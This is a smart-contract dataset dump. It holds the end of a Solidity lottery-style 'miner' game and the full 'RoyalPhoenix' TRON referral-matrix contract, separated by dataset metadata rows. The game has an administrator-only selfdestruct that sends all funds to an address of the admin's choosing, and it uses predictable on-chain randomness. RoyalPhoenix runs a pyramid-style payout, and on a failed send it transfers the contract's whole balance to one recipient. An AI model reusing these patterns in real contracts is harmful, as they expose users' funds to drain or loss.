rankList[idx] = 0;
}
}
function lottery() public disableContract
{
require(now > deadline);
uint256 balance = SafeMath.div(SafeMath.mul(prizePool, 90), 100);
uint256 devFee = SafeMath.div(SafeMath.mul(prizePool, 5), 100);
asyncSend(administrator, devFee);
uint8[10] memory profit = [30,20,10,8,7,5,5,5,5,5];
uint256 totalPayment = 0;
uint256 rankPayment = 0;
for(uint256 idx = 0; idx < 10; idx++){
if(rankList[idx] != 0){
rankPayment = SafeMath.div(SafeMath.mul(balance, profit[idx]),100);
asyncSend(rankList[idx], rankPayment);
totalPayment = SafeMath.add(totalPayment, rankPayment);
}
}
prizePool = SafeMath.add(devFee, SafeMath.sub(balance, totalPayment));
startNewRound();
}
function getRankList() public view returns(address[21])
{
return rankList;
}
function becomeSponsor() public isNotOver payable
{
require(msg.value >= getSponsorFee());
require(msg.sender != sponsor);
uint256 sponsorPrice = getCurrentPrice(sponsorLevel);
asyncSend(sponsor, sponsorPrice);
prizePool = SafeMath.add(prizePool, SafeMath.sub(msg.value, sponsorPrice));
sponsor = msg.sender;
sponsorLevel = SafeMath.add(sponsorLevel, 1);
}
function getSponsorFee() public view returns(uint256 sponsorFee)
{
sponsorFee = getCurrentPrice(SafeMath.add(sponsorLevel, 1));
}
function getFreeMiner() public disableContract isNotOver
{
require(players[msg.sender].roundNumber != roundNumber);
PlayerData storage p = players[msg.sender];
if(p.hashrate > 0){
for (uint idx = 1; idx < numberOfMiners; idx++) {
p.minerCount[idx] = 0;
}
}
MinerData storage m0 = minerData[0];
p.crystals = 0;
p.roundNumber = roundNumber;
p.lastUpdateTime = now;
p.referral_count = 0;
p.noQuest = 0;
p.minerCount[0] = 1;
p.hashrate = m0.baseProduct;
}
function doQuest(uint256 clientNumber) disableContract isCurrentRound isNotOver public
{
PlayerData storage p = players[msg.sender];
p.noQuest = SafeMath.add(p.noQuest, 1);
uint256 randomNumber = getRandomNumber(msg.sender);
if(clientNumber == randomNumber) {
p.referral_count = SafeMath.add(p.referral_count, 1);
}
emit eventDoQuest(clientNumber, randomNumber);
}
function buyMiner(uint256[] minerNumbers) public isNotOver isCurrentRound
{
require(minerNumbers.length == numberOfMiners);
uint256 minerIdx = 0;
MinerData memory m;
for (; minerIdx < numberOfMiners; minerIdx++) {
m = minerData[minerIdx];
if(minerNumbers[minerIdx] > m.limit || minerNumbers[minerIdx] < 0){
revert();
}
}
updateCrystal(msg.sender);
PlayerData storage p = players[msg.sender];
uint256 price = 0;
uint256 minerNumber = 0;
for (minerIdx = 0; minerIdx < numberOfMiners; minerIdx++) {
minerNumber = minerNumbers[minerIdx];
if (minerNumber > 0) {
m = minerData[minerIdx];
price = SafeMath.add(price, SafeMath.mul(m.basePrice, minerNumber));
}
}
price = SafeMath.mul(price, CRTSTAL_MINING_PERIOD);
if(p.crystals < price){
revert();
}
p.crystals = SafeMath.sub(p.crystals, price);
uint256 hashrate = 0;
for (minerIdx = 0; minerIdx < numberOfMiners; minerIdx++) {
minerNumber = minerNumbers[minerIdx];
if (minerNumber > 0) {
m = minerData[minerIdx];
uint256 currentMinerCount = p.minerCount[minerIdx];
p.minerCount[minerIdx] = SafeMath.min(m.limit, SafeMath.add(p.minerCount[minerIdx], minerNumber));
hashrate = SafeMath.add(hashrate, SafeMath.mul(SafeMath.sub(p.minerCount[minerIdx],currentMinerCount), minerData[minerIdx].baseProduct));
}
}
updateHashrate(msg.sender, hashrate);
}
function getPlayerData(address addr) public view
returns (uint256 crystals, uint256 lastupdate, uint256 hashratePerDay, uint256[8] miners, uint256 hasBoost, uint256 referral_count, uint256 playerBalance, uint256 noQuest)
{
PlayerData storage p = players[addr];
if(p.roundNumber != roundNumber){
p = players[0];
}
crystals = SafeMath.div(p.crystals, CRTSTAL_MINING_PERIOD);
lastupdate = p.lastUpdateTime;
hashratePerDay = addReferralHashrate(addr, p.hashrate);
uint256 i = 0;
for(i = 0; i < numberOfMiners; i++)
{
miners[i] = p.minerCount[i];
}
hasBoost = hasBooster(addr);
referral_count = p.referral_count;
noQuest = p.noQuest;
playerBalance = payments[addr];
}
function getHashratePerDay(address minerAddr) public view returns (uint256 personalProduction)
{
PlayerData storage p = players[minerAddr];
personalProduction = addReferralHashrate(minerAddr, p.hashrate);
uint256 boosterIdx = hasBooster(minerAddr);
if (boosterIdx != 999) {
BoostData storage b = boostData[boosterIdx];
personalProduction = SafeMath.div(SafeMath.mul(personalProduction, b.boostRate), 100);
}
}
function buyBooster(uint256 idx) public isNotOver isCurrentRound payable
{
require(idx < numberOfBoosts);
BoostData storage b = boostData[idx];
if(msg.value < getBoosterPrice(idx) || msg.sender == b.owner){
revert();
}
address beneficiary = b.owner;
uint256 devFeePrize = devFee(getBoosterPrice(idx));
asyncSend(sponsor, devFeePrize);
uint256 refundPrize = 0;
if(beneficiary != 0){
refundPrize = SafeMath.div(SafeMath.mul(getBoosterPrice(idx), 55), 100);
asyncSend(beneficiary, refundPrize);
}
prizePool = SafeMath.add(prizePool, SafeMath.sub(msg.value, SafeMath.add(devFeePrize, refundPrize)));
updateCrystal(msg.sender);
updateCrystal(beneficiary);
uint256 level = getCurrentLevel(b.startingLevel, b.startingTime, b.halfLife);
b.startingLevel = SafeMath.add(level, 1);
b.startingTime = now;
b.owner = msg.sender;
}
function getBoosterData(uint256 idx) public view returns (address owner,uint256 boostRate, uint256 startingLevel,
uint256 startingTime, uint256 currentPrice, uint256 halfLife)
{
require(idx < numberOfBoosts);
owner = boostData[idx].owner;
boostRate = boostData[idx].boostRate;
startingLevel = boostData[idx].startingLevel;
startingTime = boostData[idx].startingTime;
currentPrice = getBoosterPrice(idx);
halfLife = boostData[idx].halfLife;
}
function getBoosterPrice(uint256 index) public view returns (uint256)
{
BoostData storage booster = boostData[index];
return getCurrentPrice(getCurrentLevel(booster.startingLevel, booster.startingTime, booster.halfLife));
}
function hasBooster(address addr) public view returns (uint256 boostIdx)
{
boostIdx = 999;
for(uint256 i = 0; i < numberOfBoosts; i++){
uint256 revert_i = numberOfBoosts - i - 1;
if(boostData[revert_i].owner == addr){
boostIdx = revert_i;
break;
}
}
}
function devFee(uint256 amount) public pure returns(uint256)
{
return SafeMath.div(SafeMath.mul(amount, 5), 100);
}
function getBalance() public view returns(uint256)
{
return address(this).balance;
}
function upgrade(address addr) public
{
require(msg.sender == administrator);
selfdestruct(addr);
}
function updateHashrate(address addr, uint256 _hashrate) private
{
PlayerData storage p = players[addr];
p.hashrate = SafeMath.add(p.hashrate, _hashrate);
if(p.hashrate > RANK_LIST_LIMIT){
updateRankList(addr);
}
}
function updateCrystal(address addr) private
{
require(now > players[addr].lastUpdateTime);
if (players[addr].lastUpdateTime != 0) {
PlayerData storage p = players[addr];
uint256 secondsPassed = SafeMath.sub(now, p.lastUpdateTime);
uint256 revenue = getHashratePerDay(addr);
p.lastUpdateTime = now;
if (revenue > 0) {
revenue = SafeMath.mul(revenue, secondsPassed);
p.crystals = SafeMath.add(p.crystals, revenue);
}
}
}
function addReferralHashrate(address addr, uint256 hashrate) private view returns(uint256 personalProduction)
{
PlayerData storage p = players[addr];
if(p.referral_count < 5){
personalProduction = SafeMath.add(hashrate, SafeMath.mul(p.referral_count, 10));
}else if(p.referral_count < 10){
personalProduction = SafeMath.add(hashrate, SafeMath.add(50, SafeMath.mul(p.referral_count, 10)));
}else{
personalProduction = SafeMath.add(hashrate, 200);
}
}
function getCurrentLevel(uint256 startingLevel, uint256 startingTime, uint256 halfLife) private view returns(uint256)
{
uint256 timePassed=SafeMath.sub(now, startingTime);
uint256 levelsPassed=SafeMath.div(timePassed, halfLife);
if (startingLevel < levelsPassed) {
return 0;
}
return SafeMath.sub(startingLevel, levelsPassed);
}
function getCurrentPrice(uint256 currentLevel) private view returns(uint256)
{
return SafeMath.mul(BASE_PRICE, 2**currentLevel);
}
function updateRankList(address addr) private returns(bool)
{
uint256 idx = 0;
PlayerData storage insert = players[addr];
PlayerData storage lastOne = players[rankList[19]];
if(insert.hashrate < lastOne.hashrate) {
return false;
}
address[21] memory tempList = rankList;
if(!inRankList(addr)){
tempList[20] = addr;
quickSort(tempList, 0, 20);
}else{
quickSort(tempList, 0, 19);
}
for(idx = 0;idx < 21; idx++){
if(tempList[idx] != rankList[idx]){
rankList[idx] = tempList[idx];
}
}
return true;
}
function inRankList(address addr) internal view returns(bool)
{
for(uint256 idx = 0;idx < 20; idx++){
if(addr == rankList[idx]){
return true;
}
}
return false;
}
function getRandomNumber(address playerAddress) internal returns(uint256 randomNumber) {
randNonce++;
randomNumber = uint256(keccak256(abi.encodePacked(now, playerAddress, randNonce))) % 3;
}
function quickSort(address[21] list, int left, int right) internal
{
int i = left;
int j = right;
if(i == j) return;
address addr = list[uint(left + (right - left) / 2)];
PlayerData storage p = players[addr];
while (i <= j) {
while (players[list[uint(i)]].hashrate > p.hashrate) i++;
while (p.hashrate > players[list[uint(j)]].hashrate) j--;
if (i <= j) {
(list[uint(i)], list[uint(j)]) = (list[uint(j)], list[uint(i)]);
i++;
j--;
}
}
if (left < j)
quickSort(list, left, j);
if (i < right)
quickSort(list, i, right);
}
}
| 274,436 | 753 |
34945df452045e69b52022eba2f9928d520e4772c27001eaca5ed0b25bd6a16d
| 28,839 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TS/TSdcdSS2AYJHx4RtQGvhqWbgCxovdhtX6B_RoyalPhoenix.sol
| 7,231 | 26,899 |
//SourceUnit: TronFinalBack.sol
pragma solidity >=0.4.23 <0.6.0;
contract RoyalPhoenix {
struct User {
uint id;
address referrer;
uint partnersCount;
mapping(uint8 => bool) activeX3Levels;
mapping(uint8 => bool) activeX6Levels;
mapping(uint8 => X3) x3Matrix;
mapping(uint8 => X6) x6Matrix;
mapping(uint8 => X8) x8Matrix;
mapping(uint8 => XA) xAMatrix;
}
struct X3 {
address currentReferrer;
address[] referrals;
bool blocked;
uint reinvestCount;
}
struct X6 {
address currentReferrer;
address[] firstLevelReferrals;
address[] secondLevelReferrals;
bool blocked;
uint reinvestCount;
address closedPart;
}
struct X8 {
address currentReferrer;
address[] firstLevelReferrals;
address[] secondLevelReferrals;
bool blocked;
uint reinvestCount;
address closedPart;
}
struct XA {
address currentReferrer;
address[] firstLevelReferrals;
address[] secondLevelReferrals;
bool blocked;
uint reinvestCount;
uint status;
uint totreceve;
uint totwith;
uint totCurrnt;
address closedPart;
}
uint8 public constant LAST_LEVEL = 14;
mapping(address => User) public users;
mapping(uint => address) public idToAddress;
mapping(uint => address) public userIds;
mapping(address => uint) public balances;
uint public lastUserId = 2;
address public owner;
uint public tronchk = 0;
uint public tottran = 0;
mapping(uint8 => uint) public levelPrice;
mapping(uint8 => uint) public levelPrice1;
// mapping(uint8 => uint) public levelPrice;
event ChekFinalBroNew(address indexed user, uint recved, uint with,uint paynow,uint chkachiver,uint statusn,uint Totchknow);
event ChekFinalBro(address indexed user, uint recved, uint with,uint paynow,uint chkachiver,uint chkpo);
event ChekFinal(address indexed user, uint recved, uint with,uint totchk);
event Cheknew1new(address indexed user, address indexed referrer,address indexed referrerup, uint userId, uint referrerId);
event Cheknew1(address indexed user, address indexed referrer,address indexed referrerup, uint userId, uint referrerId);
event Cheknew2(address indexed user, address indexed referrer,address indexed referrerup, uint userId, uint referrerId);
event Cheknew(address indexed user, address indexed referrer, uint indexed userId, uint referrerId);
event Registration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId);
event Reinvest(address indexed user, address indexed currentReferrer, address indexed caller, uint8 matrix, uint8 level);
event Upgrade(address indexed user, address indexed referrer, uint8 matrix, uint8 level);
event NewUserPlace(address indexed user,uint indexed userId, address indexed referrer,uint referrerId, uint8 matrix, uint8 level, uint8 place);
event MissedTronReceive(address indexed receiver,uint receiverId, address indexed from,uint indexed fromId, uint8 matrix, uint8 level);
event SentDividends(address indexed from,uint indexed fromId, address indexed receiver,uint receiverId, uint8 matrix, uint8 level, bool isExtra);
constructor(address ownerAddress) public {
levelPrice[1] = 350 trx;
for (uint8 i = 2; i <= LAST_LEVEL; i++) {
levelPrice[i] = levelPrice[i-1] * 2;
}
owner = ownerAddress;
User memory user = User({
id: 1,
referrer: address(0),
partnersCount: uint(0)
});
users[ownerAddress] = user;
idToAddress[1] = ownerAddress;
for (uint8 i = 1; i <= LAST_LEVEL; i++) {
users[ownerAddress].activeX3Levels[i] = true;
users[ownerAddress].activeX6Levels[i] = true;
}
userIds[1] = ownerAddress;
}
function() external payable {
if(msg.data.length == 0) {
return registration(msg.sender, owner);
}
registration(msg.sender, bytesToAddress(msg.data));
}
function registrationExt(address referrerAddress) external payable {
registration(msg.sender, referrerAddress);
}
function buyNewLevel(uint8 matrix, uint8 level) external payable {
require(isUserExists(msg.sender), "user is not exists. Register first.");
require(matrix == 1 || matrix == 2, "invalid matrix");
require(msg.value == levelPrice[level], "invalid price");
require(level > 1 && level <= LAST_LEVEL, "invalid level");
if (matrix == 1) {
require(!users[msg.sender].activeX3Levels[level], "level already activated");
require(users[msg.sender].activeX3Levels[level - 1], "previous level should be activated");
if (users[msg.sender].x3Matrix[level-1].blocked) {
users[msg.sender].x3Matrix[level-1].blocked = false;
}
address freeX3Referrer = findFreeX3Referrer(msg.sender, level);
users[msg.sender].x3Matrix[level].currentReferrer = freeX3Referrer;
users[msg.sender].activeX3Levels[level] = true;
updateX3Referrer(msg.sender, freeX3Referrer, level);
emit Upgrade(msg.sender, freeX3Referrer, 1, level);
} else {
require(!users[msg.sender].activeX6Levels[level], "level already activated");
require(users[msg.sender].activeX6Levels[level - 1], "previous level should be activated");
if (users[msg.sender].x6Matrix[level-1].blocked) {
users[msg.sender].x6Matrix[level-1].blocked = false;
}
address freeX6Referrer = findFreeX6Referrer(msg.sender, level);
users[msg.sender].activeX6Levels[level] = true;
updateX6Referrer(msg.sender, freeX6Referrer, level);
emit Upgrade(msg.sender, freeX6Referrer, 2, level);
}
}
function isUserExistsNew(address user) public view returns (bool) {
return (users[user].id != 0);
}
function WithdralExt(address referrerAddress) external payable {
//registration(msg.sender, referrerAddress);
require(msg.value == 0.1 trx, "registration cost 0.1");
if(users[msg.sender].xAMatrix[1].status>0)
{
// require(msg.value == 1 trx, "registration cost 1 trx");
if(users[msg.sender].xAMatrix[1].totCurrnt>0 trx)
{
if(users[msg.sender].xAMatrix[1].totreceve>users[msg.sender].xAMatrix[1].totCurrnt)
{
uint payn=users[msg.sender].xAMatrix[1].totCurrnt ;
//uint oldamnt;
Execution(msg.sender,payn);
users[msg.sender].xAMatrix[1].totreceve-= users[msg.sender].xAMatrix[1].totCurrnt;
//oldamnt=users[msg.sender].xAMatrix[1].totCurrnt;
users[msg.sender].xAMatrix[1].totCurrnt=0 trx;
users[msg.sender].xAMatrix[1].totwith=0 trx;
emit ChekFinal(msg.sender,users[msg.sender].xAMatrix[1].totreceve,users[msg.sender].xAMatrix[1].totwith,users[msg.sender].xAMatrix[1].totCurrnt);
}
else
{
uint payn=users[msg.sender].xAMatrix[1].totreceve ;
Execution(msg.sender,payn);
users[msg.sender].xAMatrix[1].totreceve=0 trx;
users[msg.sender].xAMatrix[1].totCurrnt=0 trx;
emit ChekFinal(msg.sender,users[msg.sender].xAMatrix[1].totreceve,users[msg.sender].xAMatrix[1].totwith,users[msg.sender].xAMatrix[1].totCurrnt);
}
}
// }
}
}
// require(msg.value == 1 trx, "registration cost 1 trx");
function Execution(address _sponsorAddress,uint price) private returns (uint distributeAmount) {
distributeAmount = price;
if (!address(uint160(_sponsorAddress)).send(price)) {
address(uint160(_sponsorAddress)).transfer(address(this).balance);
}
return distributeAmount;
}
function registration(address userAddress, address referrerAddress) private {
require(msg.value == 850 trx, "registration cost 850");
// require(msg.value == 0.05 ether, "registration cost 0.05");
require(!isUserExists(userAddress), "user exists");
require(isUserExists(referrerAddress), "referrer not exists");
uint32 size;
assembly {
size := extcodesize(userAddress)
}
require(size == 0, "cannot be a contract");
User memory user = User({
id: lastUserId,
referrer: referrerAddress,
partnersCount: 0
});
users[userAddress] = user;
idToAddress[lastUserId] = userAddress;
users[userAddress].referrer = referrerAddress;
users[userAddress].activeX3Levels[1] = true;
users[userAddress].activeX6Levels[1] = true;
userIds[lastUserId] = userAddress;
lastUserId++;
users[referrerAddress].partnersCount++;
address freeX3Referrer = findFreeX3Referrer(userAddress, 1);
users[userAddress].x3Matrix[1].currentReferrer = freeX3Referrer;
updateX3Referrer(userAddress, freeX3Referrer, 1);
updateX6Referrer(userAddress, findFreeX6Referrer(userAddress, 1), 1);
uint paynow;
if(tronchk>0)
{
paynow=150 trx/tronchk;
for (uint i = 1; i < lastUserId-1; i++) {
// if (items[i].owner == _owner) {
// result[counter] = i;
// counter++;
//}
//}
address ref1=userIds[i];
address ref=idToAddress[i];
if(users[ref].xAMatrix[1].status==1)
{
uint sumtot;
sumtot=users[msg.sender].xAMatrix[1].totreceve+paynow;
if(users[ref].xAMatrix[1].totreceve==0 trx && users[ref].xAMatrix[1].status==1)
{
//users[ref].xAMatrix[1].totreceve=1000 trx;
users[ref].xAMatrix[1].status=2;
tronchk--;
}
else
{
//users[ref].xAMatrix[1].totreceve=users[ref].xAMatrix[1].totreceve+paynow;
users[ref].xAMatrix[1].totCurrnt=users[ref].xAMatrix[1].totCurrnt+paynow;
users[ref].xAMatrix[1].totwith=users[ref].xAMatrix[1].totwith+paynow;
}
emit ChekFinalBroNew(ref,users[ref].xAMatrix[1].totreceve,users[ref].xAMatrix[1].totwith,paynow,tronchk,users[ref].xAMatrix[1].status,sumtot);
}
}
}
//set current level
users[userAddress].xAMatrix[1].currentReferrer = referrerAddress;
users[userAddress].xAMatrix[1].status=0;
users[userAddress].xAMatrix[1].totreceve=0 trx;
users[userAddress].xAMatrix[1].totCurrnt=0 trx;
users[userAddress].xAMatrix[1].totwith=0 trx;
if (users[referrerAddress].xAMatrix[1].firstLevelReferrals.length < 2) {
users[referrerAddress].xAMatrix[1].firstLevelReferrals.push(userAddress);
}
address ref1 = users[referrerAddress].xAMatrix[1].currentReferrer;
if (users[ref1].xAMatrix[1].secondLevelReferrals.length < 4) {
users[ref1].xAMatrix[1].secondLevelReferrals.push(userAddress);
}
emit Cheknew2(userAddress, referrerAddress,ref1, users[ref1].xAMatrix[1].secondLevelReferrals.length, users[referrerAddress].x8Matrix[1].secondLevelReferrals.length);
if(users[ref1].xAMatrix[1].secondLevelReferrals.length>3)
{
emit Cheknew1(userAddress, referrerAddress,ref1, users[userAddress].id, users[referrerAddress].id);
}
// users[ref1].xAMatrix[1].secondLevelReferrals.push(userAddress);
// emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id);
emit Cheknew1new(ref1, ref1,ref1, users[ref1].xAMatrix[1].status, users[ref1].xAMatrix[1].secondLevelReferrals.length);
if(users[ref1].xAMatrix[1].status==0)
{
if(users[ref1].xAMatrix[1].secondLevelReferrals.length>=4)
{
users[ref1].xAMatrix[1].status=1;
tronchk++;
users[ref1].xAMatrix[1].totreceve=10000 trx;
emit Cheknew(ref1, referrerAddress, users[userAddress].id, users[referrerAddress].id);
}
else{
users[ref1].xAMatrix[1].status=0;
}
}
emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id);
}
function updateX3Referrer(address userAddress, address referrerAddress, uint8 level) private {
users[referrerAddress].x3Matrix[level].referrals.push(userAddress);
if (users[referrerAddress].x3Matrix[level].referrals.length < 3) {
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress, users[referrerAddress].id, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length));
return sendTronDividends(referrerAddress, userAddress, 1, level);
}
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress,users[referrerAddress].id, 1, level, 3);
//close matrix
users[referrerAddress].x3Matrix[level].referrals = new address[](0);
if (!users[referrerAddress].activeX3Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].x3Matrix[level].blocked = true;
}
//create new one by recursion
if (referrerAddress != owner) {
//check referrer active level
address freeReferrerAddress = findFreeX3Referrer(referrerAddress, level);
if (users[referrerAddress].x3Matrix[level].currentReferrer != freeReferrerAddress) {
users[referrerAddress].x3Matrix[level].currentReferrer = freeReferrerAddress;
}
users[referrerAddress].x3Matrix[level].reinvestCount++;
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 1, level);
updateX3Referrer(referrerAddress, freeReferrerAddress, level);
} else {
sendTronDividends(owner, userAddress, 1, level);
users[owner].x3Matrix[level].reinvestCount++;
emit Reinvest(owner, address(0), userAddress, 1, level);
}
}
function updateX6Referrer(address userAddress, address referrerAddress, uint8 level) private {
require(users[referrerAddress].activeX6Levels[level], "500. Referrer level is inactive");
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length < 2) {
users[referrerAddress].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress,users[referrerAddress].id, 2, level, uint8(users[referrerAddress].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = referrerAddress;
if (referrerAddress == owner) {
return sendTronDividends(referrerAddress, userAddress, 2, level);
}
address ref = users[referrerAddress].x6Matrix[level].currentReferrer;
users[ref].x6Matrix[level].secondLevelReferrals.push(userAddress);
uint len = users[ref].x6Matrix[level].firstLevelReferrals.length;
if ((len == 2) &&
(users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) &&
(users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress)) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress,users[userAddress].id, ref,users[ref].id, 2, level, 5);
} else {
emit NewUserPlace(userAddress,users[userAddress].id,ref,users[ref].id, 2, level, 6);
}
} else if ((len == 1 || len == 2) &&
users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress,users[userAddress].id, ref,users[ref].id, 2, level, 3);
} else {
emit NewUserPlace(userAddress,users[userAddress].id, ref,users[ref].id, 2, level, 4);
}
} else if (len == 2 && users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress,users[userAddress].id, ref,users[ref].id, 2, level, 5);
} else {
emit NewUserPlace(userAddress,users[userAddress].id, ref,users[ref].id, 2, level, 6);
}
}
return updateX6ReferrerSecondLevel(userAddress, ref, level);
}
users[referrerAddress].x6Matrix[level].secondLevelReferrals.push(userAddress);
if (users[referrerAddress].x6Matrix[level].closedPart != address(0)) {
if ((users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]) &&
(users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart)) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
}
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[1] == userAddress) {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == userAddress) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
if (users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length <=
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length) {
updateX6(userAddress, referrerAddress, level, false);
} else {
updateX6(userAddress, referrerAddress, level, true);
}
updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
function updateX6(address userAddress, address referrerAddress, uint8 level, bool x2) private {
if (!x2) {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress,users[userAddress].id, users[referrerAddress].x6Matrix[level].firstLevelReferrals[0],users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].id, 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress,users[referrerAddress].id, 2, level, 2 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[0];
} else {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress,users[userAddress].id, users[referrerAddress].x6Matrix[level].firstLevelReferrals[1],users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].id, 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress,users[referrerAddress].id, 2, level, 4 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[1];
}
}
function updateX6ReferrerSecondLevel(address userAddress, address referrerAddress, uint8 level) private {
if (users[referrerAddress].x6Matrix[level].secondLevelReferrals.length < 4) {
return sendTronDividends(referrerAddress, userAddress, 2, level);
}
address[] memory x6 = users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].firstLevelReferrals;
if (x6.length == 2) {
if (x6[0] == referrerAddress ||
x6[1] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
} else if (x6.length == 1) {
if (x6[0] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
}
}
}
users[referrerAddress].x6Matrix[level].firstLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].secondLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].closedPart = address(0);
if (!users[referrerAddress].activeX6Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].x6Matrix[level].blocked = true;
}
users[referrerAddress].x6Matrix[level].reinvestCount++;
if (referrerAddress != owner) {
address freeReferrerAddress = findFreeX6Referrer(referrerAddress, level);
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 2, level);
updateX6Referrer(referrerAddress, freeReferrerAddress, level);
} else {
emit Reinvest(owner, address(0), userAddress, 2, level);
sendTronDividends(owner, userAddress, 2, level);
}
}
function findFreeX3Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX3Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function findFreeX6Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX6Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function usersActiveX3Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX3Levels[level];
}
function usersActiveX6Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX6Levels[level];
}
function get3XMatrix(address userAddress, uint8 level) public view returns(address, address[] memory, uint, bool) {
return (users[userAddress].x3Matrix[level].currentReferrer,
users[userAddress].x3Matrix[level].referrals,
users[userAddress].x3Matrix[level].reinvestCount,
users[userAddress].x3Matrix[level].blocked);
}
function getX6Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, address[] memory, bool, uint, address) {
return (users[userAddress].x6Matrix[level].currentReferrer,
users[userAddress].x6Matrix[level].firstLevelReferrals,
users[userAddress].x6Matrix[level].secondLevelReferrals,
users[userAddress].x6Matrix[level].blocked,
users[userAddress].x6Matrix[level].reinvestCount,
users[userAddress].x6Matrix[level].closedPart);
}
function isUserExists(address user) public view returns (bool) {
return (users[user].id != 0);
}
function findTronReceiver(address userAddress, address _from, uint8 matrix, uint8 level) private returns(address, bool) {
address receiver = userAddress;
bool isExtraDividends;
if (matrix == 1) {
while (true) {
if (users[receiver].x3Matrix[level].blocked) {
emit MissedTronReceive(receiver,users[receiver].id, _from,users[_from].id, 1, level);
isExtraDividends = true;
receiver = users[receiver].x3Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
} else {
while (true) {
if (users[receiver].x6Matrix[level].blocked) {
emit MissedTronReceive(receiver,users[receiver].id, _from,users[_from].id, 2, level);
isExtraDividends = true;
receiver = users[receiver].x6Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
}
}
function sendTronDividends(address userAddress, address _from, uint8 matrix, uint8 level) private {
(address receiver, bool isExtraDividends) = findTronReceiver(userAddress, _from, matrix, level);
if (!address(uint160(receiver)).send(levelPrice[level])) {
return address(uint160(receiver)).transfer(address(this).balance);
}
emit SentDividends(_from,users[_from].id, receiver,users[receiver].id, matrix, level, isExtraDividends);
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
}
| 286,623 | 754 |
